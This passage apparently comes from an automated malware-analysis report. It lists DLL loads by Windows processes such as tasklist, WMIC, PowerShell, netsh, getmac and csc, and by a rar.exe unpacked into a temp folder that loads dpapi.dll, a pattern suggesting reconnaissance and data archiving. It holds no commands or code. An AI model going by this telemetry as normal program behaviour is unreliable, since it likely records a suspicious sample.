Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
